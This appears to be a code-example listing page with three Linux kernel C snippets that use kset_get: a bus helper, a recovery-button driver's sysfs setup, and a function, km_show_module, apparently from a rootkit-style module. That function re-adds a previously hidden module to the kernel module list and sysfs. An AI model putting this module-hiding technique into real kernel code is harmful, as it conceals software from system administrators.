Esempio n. 1
0
static void
km_show_module(
    const char* const       data
)
{
    kobject*				kobj = &THIS_MODULE->mkobj.kobj;

    // Check to ensure we're hidden first...
    if ( !g_state.hidden )
    {
        return;
    }

    g_state.hidden = 0;

    // Add to modules list
    mutex_lock( &module_mutex );
    list_add_rcu( &THIS_MODULE->list, g_modules);
    mutex_unlock( &module_mutex );

    // Increment parent ref count in sysfs
    kobject_get( kobj->parent );

    // Add to sysfs
    kset_get( kobj->kset );
    spin_lock( &kobj->kset->list_lock );
    list_add_tail( &kobj->entry, &kobj->kset->list );
    spin_unlock( &kobj->kset->list_lock );

    kobj->state_in_sysfs = 1;

    mutex_lock( g_sysfs_mutex );
    sysfs_link_sibling( kobj->sd );
    mutex_unlock( g_sysfs_mutex );
}
Esempio n. 2
0
static struct bus_type *bus_get(struct bus_type *bus)
{
	if (bus) {
		kset_get(&bus->p->subsys);
		return bus;
	}
	return NULL;
}
Esempio n. 3
0
static int recovery_button_prep_sysfs(void)
{
	int err = 0;

	/* prep the sysfs interface for use */
	kobject_set_name(&recovery_button_driver.kset.kobj, "recovery-button");
	recovery_button_driver.kset.kobj.ktype = &ktype_recovery_button;

	err = kset_register(&recovery_button_driver.kset);
	if (err)
		return err;

	/* setup hotplugging */
	recovery_button_driver.kset.uevent_ops = &recovery_button_uevent_ops;

	/* setup the heirarchy, the name will be set on detection */
	kobject_init(&recovery_button_driver.recovery_button,recovery_button_driver.kset.kobj.ktype);
	recovery_button_driver.recovery_button.kset = kset_get(&recovery_button_driver.kset);
	recovery_button_driver.recovery_button.parent = &recovery_button_driver.kset.kobj;

	return 0;
}